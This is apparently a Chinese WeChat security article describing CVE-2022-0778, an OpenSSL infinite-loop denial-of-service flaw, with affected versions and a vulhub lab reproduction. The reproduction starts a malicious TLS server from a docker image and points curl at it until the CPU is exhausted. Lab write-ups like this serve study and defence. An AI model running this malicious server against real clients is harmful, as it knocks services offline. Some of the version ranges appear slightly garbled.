漏洞简介
Openssl是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
OpenSSL 1.1.1版本及以前存在一处逻辑缺陷,攻击者可以利用一个无效的椭圆曲线参数证书,触发一个无限循环导致耗尽目标CPU。由于证书解析发生在验证证书签名之前,任何解析外部提供的证书的进程都可能受到拒绝服务的攻击。
影响版本
OpenSSL版本1.0.2:1.0.2-1.0.2zc
OpenSSL版本1.1.2:1.1.1-1.1.1m
OpenSSL版本3.0:3.0.0、3.0.1
漏洞复现
docker-compose up -d
启动服务服务后,首先,使用这个项目中的代码编译并运行一个恶意服务器,可以用docker启动
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
在vulhub环境中使用top查看CPU情况
docker-compose exec curl top
由于这个漏洞是发生在解析TLS证书时,所以我们可以使用cURL来复现这个漏洞。进入容器,并执行cURL命令访问前面启动的恶意服务器:
docker-compose exec curl bash
curl -k https://host.docker.internal:12345
此刻,curl陷入死循环,使用top查看CPU状况:CPU占用达到100%
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):OpenSSL无限循环DOS漏洞(CVE-2022-0778)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论